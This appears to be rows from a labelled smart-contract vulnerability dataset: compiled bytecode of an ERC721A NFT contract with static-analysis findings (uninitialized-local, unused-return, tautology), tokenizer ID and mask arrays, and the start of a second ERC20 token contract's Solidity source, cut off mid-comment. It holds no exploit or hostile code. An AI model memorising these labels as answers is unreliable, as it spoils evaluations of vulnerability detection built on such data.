1653929190612aa4565b50505050565b600a8054611666906132cc565b80601f0160208091040260200160405190810160405280929190818152602001828054611692906132cc565b80156116df5780601f106116b4576101008083540402835291602001916116df565b820191906000526020600020905b8154815290600101906020018083116116c257829003601f168201915b505050505081565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611783611923565b73ffffffffffffffffffffffffffffffffffffffff166117a16111c8565b73ffffffffffffffffffffffffffffffffffffffff16146117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ee90613624565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185e90613b2b565b60405180910390fd5b61187081612159565b50565b600081836118819190613b4b565b905092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b60006119e882611fbf565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff16611a0f611923565b73ffffffffffffffffffffffffffffffffffffffff161480611a6b5750611a34611923565b73ffffffffffffffffffffffffffffffffffffffff16611a538461090d565b73ffffffffffffffffffffffffffffffffffffffff16145b80611a875750611a868260000151611a81611923565b6116e7565b5b905080611ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac090613c13565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff1614611b3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3290613ca5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba290613d37565b60405180910390fd5b611bb885858560016126ea565b611bc8600084846000015161192b565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550836003600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611ead57611e0c81611916565b15611eac5782600001516003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4611f1685858560016126f0565b5050505050565b611f25610f16565b611f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5b90613da3565b60405180910390fd5b6000600760146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa611fa8611923565b604051611fb59190612daf565b60405180910390a1565b611fc7612b2a565b611fd082611916565b61200f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200690613e35565b60405180910390fd5b60008290505b60008110612118576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612109578092505050612154565b50808060019003915050612015565b506040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214b90613ec7565b60405180910390fd5b919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008111612262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225990613f33565b60405180910390fd5b60085461227f82612271610aab565b61187390919063ffffffff16565b106122bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b690613f9f565b60405180910390fd5b6122c933826126f6565b50565b6122d4610f16565b15612314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230b906137b4565b60405180910390fd5b6001600760146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258612358611923565b6040516123659190612daf565b60405180910390a1565b60006123908473ffffffffffffffffffffffffffffffffffffffff16611889565b156124ea578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026123b9611923565b8786866040518563ffffffff1660e01b81526004016123db9493929190614014565b6020604051808303816000875af192505050801561241757506040513d601f19601f820116820180604052508101906124149190614075565b60015b61249a573d8060008114612447576040519150601f19603f3d011682016040523d82523d6000602084013e61244c565b606091505b50600081511415612492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612489906139a7565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506124ef565b600190505b949350505050565b6060600a8054612506906132cc565b80601f0160208091040260200160405190810160405280929190818152602001828054612532906132cc565b801561257f5780601f106125545761010080835404028352916020019161257f565b820191906000526020600020905b81548152906001019060200180831161256257829003601f168201915b5050505050905090565b606060008214156125d1576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506126e5565b600082905060005b600082146126035780806125ec906140a2565b915050600a826125fc919061411a565b91506125d9565b60008167ffffffffffffffff81111561261f5761261e612ebd565b5b6040519080825280601f01601f1916602001820160405280156126515781602001600182028036833780820191505090505b5090505b600085146126de5760018261266a919061414b565b9150600a85612679919061417f565b60306126859190613b4b565b60f81b81838151811061269b5761269a6141b0565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856126d7919061411a565b9450612655565b8093505050505b919050565b50505050565b50505050565b612710828260405180602001604052806000815250612714565b5050565b6127218383836001612726565b505050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561279c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279390614251565b60405180910390fd5b60008414156127e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d7906142e3565b60405180910390fd5b6127ed60008683876126ea565b83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555083600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550846003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600081905060005b85811015612a8757818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a48315612a7257612a32600088848861236f565b612a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a68906139a7565b60405180910390fd5b5b818060010192505080806001019150506129bb565b508060008190555050612a9d60008683876126f0565b5050505050565b828054612ab0906132cc565b90600052602060002090601f016020900481019282612ad25760008555612b19565b82601f10612aeb57805160ff1916838001178555612b19565b82800160010185558215612b19579182015b82811115612b18578251825591602001919060010190612afd565b5b509050612b269190612b64565b5090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b5b80821115612b7d576000816000905550600101612b65565b5090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b612bca81612b95565b8114612bd557600080fd5b50565b600081359050612be781612bc1565b92915050565b600060208284031215612c0357612c02612b8b565b5b6000612c1184828501612bd8565b91505092915050565b60008115159050919050565b612c2f81612c1a565b82525050565b6000602082019050612c4a6000830184612c26565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c8a578082015181840152602081019050612c6f565b83811115612c99576000848401525b50505050565b6000601f19601f8301169050919050565b6000612cbb82612c50565b612cc58185612c5b565b9350612cd5818560208601612c6c565b612cde81612c9f565b840191505092915050565b60006020820190508181036000830152612d038184612cb0565b905092915050565b6000819050919050565b612d1e81612d0b565b8114612d2957600080fd5b50565b600081359050612d3b81612d15565b92915050565b600060208284031215612d5757612d56612b8b565b5b6000612d6584828501612d2c565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d9982612d6e565b9050919050565b612da981612d8e565b82525050565b6000602082019050612dc46000830184612da0565b92915050565b612dd381612d8e565b8114612dde57600080fd5b50565b600081359050612df081612dca565b92915050565b60008060408385031215612e0d57612e0c612b8b565b5b6000612e1b85828601612de1565b9250506020612e2c85828601612d2c565b9150509250929050565b612e3f81612d0b565b82525050565b6000602082019050612e5a6000830184612e36565b92915050565b600080600060608486031215612e7957612e78612b8b565b5b6000612e8786828701612de1565b9350506020612e9886828701612de1565b9250506040612ea986828701612d2c565b9150509250925092565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612ef582612c9f565b810181811067ffffffffffffffff82111715612f1457612f13612ebd565b5b80604052505050565b6000612f27612b81565b9050612f338282612eec565b919050565b600067ffffffffffffffff821115612f5357612f52612ebd565b5b612f5c82612c9f565b9050602081019050919050565b82818337600083830152505050565b6000612f8b612f8684612f38565b612f1d565b905082815260208101848484011115612fa757612fa6612eb8565b5b612fb2848285612f69565b509392505050565b600082601f830112612fcf57612fce612eb3565b5b8135612fdf848260208601612f78565b91505092915050565b600060208284031215612ffe57612ffd612b8b565b5b600082013567ffffffffffffffff81111561301c5761301b612b90565b5b61302884828501612fba565b91505092915050565b60006020828403121561304757613046612b8b565b5b600061305584828501612de1565b91505092915050565b61306781612c1a565b811461307257600080fd5b50565b6000813590506130848161305e565b92915050565b600080604083850312156130a1576130a0612b8b565b5b60006130af85828601612de1565b92505060206130c085828601613075565b9150509250929050565b600067ffffffffffffffff8211156130e5576130e4612ebd565b5b6130ee82612c9f565b9050602081019050919050565b600061310e613109846130ca565b612f1d565b90508281526020810184848401111561312a57613129612eb8565b5b613135848285612f69565b509392505050565b600082601f83011261315257613151612eb3565b5b81356131628482602086016130fb565b91505092915050565b6000806000806080858703121561318557613184612b8b565b5b600061319387828801612de1565b94505060206131a487828801612de1565b93505060406131b587828801612d2c565b925050606085013567ffffffffffffffff8111156131d6576131d5612b90565b5b6131e28782880161313d565b91505092959194509250565b60008060006060848603121561320757613206612b8b565b5b600061321586828701612d2c565b935050602061322686828701612d2c565b925050604084013567ffffffffffffffff81111561324757613246612b90565b5b61325386828701612fba565b9150509250925092565b6000806040838503121561327457613273612b8b565b5b600061328285828601612de1565b925050602061329385828601612de1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806132e457607f821691505b602082108114156132f8576132f761329d565b5b50919050565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b600061335a602d83612c5b565b9150613365826132fe565b604082019050919050565b600060208201905081810360008301526133898161334d565b9050919050565b7f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b60006133ec602283612c5b565b91506133f782613390565b604082019050919050565b6000602082019050818103600083015261341b816133df565b9050919050565b7f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000602082015250565b600061347e603983612c5b565b915061348982613422565b604082019050919050565b600060208201905081810360008301526134ad81613471565b9050919050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b6000613510602283612c5b565b915061351b826134b4565b604082019050919050565b6000602082019050818103600083015261353f81613503565b9050919050565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b60006135a2602e83612c5b565b91506135ad82613546565b604082019050919050565b600060208201905081810360008301526135d181613595565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061360e602083612c5b565b9150613619826135d8565b602082019050919050565b6000602082019050818103600083015261363d81613601565b9050919050565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b60006136a0602383612c5b565b91506136ab82613644565b604082019050919050565b600060208201905081810360008301526136cf81613693565b9050919050565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b6000613732602b83612c5b565b915061373d826136d6565b604082019050919050565b6000602082019050818103600083015261376181613725565b9050919050565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b600061379e601083612c5b565b91506137a982613768565b602082019050919050565b600060208201905081810360008301526137cd81613791565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061380e82612d0b565b915061381983612d0b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613852576138516137d4565b5b828202905092915050565b7f496e73756666696369656e742066756e64732073656e74000000000000000000600082015250565b6000613893601783612c5b565b915061389e8261385d565b602082019050919050565b600060208201905081810360008301526138c281613886565b9050919050565b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b60006138ff601a83612c5b565b915061390a826138c9565b602082019050919050565b6000602082019050818103600083015261392e816138f2565b9050919050565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b6000613991603383612c5b565b915061399c82613935565b604082019050919050565b600060208201905081810360008301526139c081613984565b9050919050565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b6000613a23602f83612c5b565b9150613a2e826139c7565b604082019050919050565b60006020820190508181036000830152613a5281613a16565b9050919050565b600081905092915050565b6000613a6f82612c50565b613a798185613a59565b9350613a89818560208601612c6c565b80840191505092915050565b6000613aa18285613a64565b9150613aad8284613a64565b91508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613b15602683612c5b565b9150613b2082613ab9565b604082019050919050565b60006020820190508181036000830152613b4481613b08565b9050919050565b6000613b5682612d0b565b9150613b6183612d0b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b9657613b956137d4565b5b828201905092915050565b7f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b6000613bfd603283612c5b565b9150613c0882613ba1565b604082019050919050565b60006020820190508181036000830152613c2c81613bf0565b9050919050565b7f455243373231413a207472616e736665722066726f6d20696e636f727265637460008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b6000613c8f602683612c5b565b9150613c9a82613c33565b604082019050919050565b60006020820190508181036000830152613cbe81613c82565b9050919050565b7f455243373231413a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613d21602583612c5b565b9150613d2c82613cc5565b604082019050919050565b60006020820190508181036000830152613d5081613d14565b9050919050565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b6000613d8d601483612c5b565b9150613d9882613d57565b602082019050919050565b60006020820190508181036000830152613dbc81613d80565b9050919050565b7f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008201527f74656e7420746f6b656e00000000000000000000000000000000000000000000602082015250565b6000613e1f602a83612c5b565b9150613e2a82613dc3565b604082019050919050565b60006020820190508181036000830152613e4e81613e12565b9050919050565b7f455243373231413a20756e61626c6520746f2064657465726d696e652074686560008201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000602082015250565b6000613eb1602f83612c5b565b9150613ebc82613e55565b604082019050919050565b60006020820190508181036000830152613ee081613ea4565b9050919050565b7f5175616e746974792063616e6e6f74206265207a65726f000000000000000000600082015250565b6000613f1d601783612c5b565b9150613f2882613ee7565b602082019050919050565b60006020820190508181036000830152613f4c81613f10565b9050919050565b7f4e6f206974656d73206c65667420746f206d696e740000000000000000000000600082015250565b6000613f89601583612c5b565b9150613f9482613f53565b602082019050919050565b60006020820190508181036000830152613fb881613f7c565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000613fe682613fbf565b613ff08185613fca565b9350614000818560208601612c6c565b61400981612c9f565b840191505092915050565b60006080820190506140296000830187612da0565b6140366020830186612da0565b6140436040830185612e36565b81810360608301526140558184613fdb565b905095945050505050565b60008151905061406f81612bc1565b92915050565b60006020828403121561408b5761408a612b8b565b5b600061409984828501614060565b91505092915050565b60006140ad82612d0b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156140e0576140df6137d4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061412582612d0b565b915061413083612d0b565b9250826141405761413f6140eb565b5b828204905092915050565b600061415682612d0b565b915061416183612d0b565b925082821015614174576141736137d4565b5b828203905092915050565b600061418a82612d0b565b915061419583612d0b565b9250826141a5576141a46140eb565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061423b602183612c5b565b9150614246826141df565b604082019050919050565b6000602082019050818103600083015261426a8161422e565b9050919050565b7f455243373231413a207175616e74697479206d7573742062652067726561746560008201527f72207468616e2030000000000000000000000000000000000000000000000000602082015250565b60006142cd602883612c5b565b91506142d882614271565b604082019050919050565b600060208201905081810360008301526142fc816142c0565b905091905056fea2646970667358221220899b8d020c29e6b81c94ca1fdbb592bddd163f31b4ab476edccf139bb75d288064736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 23499, 2063, 2575, 2581, 2620, 2094, 22022, 2581, 17914, 16409, 2620, 2475, 2094, 2487, 2094, 2581, 2278, 23499, 2629, 2546, 22275, 2546, 2094, 2581, 19317, 2692, 3540, 21926, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2340, 1025, 1013, 1008, 1012, 1035, 1035, 1035, 1012, 1035, 1035, 1012, 1035, 1035, 1035, 1035, 1035, 1012, 1012, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1035, 1035, 1064, 1035, 1035, 1035, 1035, 1035, 1064, 1035, 1035, 1032, 1035, 1064, 1035, 1035, 1064, 1064, 1035, 1035, 1035, 1035, 1032, 1035, 1035, 1035, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,109
0x9639Fb5B8505Dc819234f248622707688ba64cab
// SPDX-License-Identifier: NONE pragma solidity 0.8.1; // Part: OpenZeppelin/openzeppelin-contracts@4.0.0-rc.0/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Part: OpenZeppelin/openzeppelin-contracts@4.0.0-rc.0/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/openzeppelin-contracts@4.0.0-rc.0/Initializable /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // Part: ERC20 /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string public name; string public symbol; mapping (address => uint256) private _blacklist; mapping (address => uint256) private _canBlacklist; address private _regulatoryCompliance; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { name = name_; symbol = symbol_; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves 